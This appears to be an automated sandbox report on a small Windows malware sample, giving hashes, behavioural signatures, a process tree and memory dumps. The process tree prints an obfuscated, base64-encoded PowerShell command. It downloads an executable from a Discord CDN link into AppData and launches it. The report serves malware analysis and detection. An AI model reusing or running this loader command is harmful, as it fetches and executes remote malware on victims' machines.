Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    26-12-2022 21:05

General

  • Target

    1.exe

  • Size

    5KB

  • MD5

    0afa034595bdcf7b9b990b083910f7a5

  • SHA1

    9c9d01227016d43458c7567612a64f88df84c787

  • SHA256

    c6dd505d02069b6b0452f51c165db53fbb6b80b4b48de19c083ab22ef98b2158

  • SHA512

    4753057e45f2f03f9cab56f3b7864d2d3455f2549ebb7e6c9fcc8680f8a9e38568026e72694cebf288f3e63fc180b08e5d0fad0f3b1a74e5dc88612d4db6544a

  • SSDEEP

    96:RF79kEll3VI29zS6hENISXX8z/n3xuscvHd3ojbrl:79kE/332NISH8z/n3QXHd0

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1.exe
    "C:\Users\Admin\AppData\Local\Temp\1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANgA2ADUAMwAxADYANAAwADgAOAAxADMAOQA4ADEANwAvADEAMAA1ADYANgA1ADMANwAxADQAMQAzADcANQA1ADUAMAAwADQALwBDAFIALgBlAHgAZQAnACwAIAA8ACMAbgBsAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHcAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAHIAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApACkAPAAjAGcAZABoACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHoAbABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGYAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwB6AGgAdgAjAD4A"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:568

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/568-56-0x0000000000000000-mapping.dmp
  • memory/568-58-0x000007FEF3940000-0x000007FEF4363000-memory.dmp
    Filesize

    10.1MB

  • memory/568-60-0x00000000023C4000-0x00000000023C7000-memory.dmp
    Filesize

    12KB

  • memory/568-59-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmp
    Filesize

    11.4MB

  • memory/568-61-0x00000000023CB000-0x00000000023EA000-memory.dmp
    Filesize

    124KB

  • memory/568-62-0x00000000023C4000-0x00000000023C7000-memory.dmp
    Filesize

    12KB

  • memory/568-63-0x00000000023CB000-0x00000000023EA000-memory.dmp
    Filesize

    124KB

  • memory/948-54-0x0000000001090000-0x0000000001098000-memory.dmp
    Filesize

    32KB

  • memory/948-55-0x000007FEFBDD1000-0x000007FEFBDD3000-memory.dmp
    Filesize

    8KB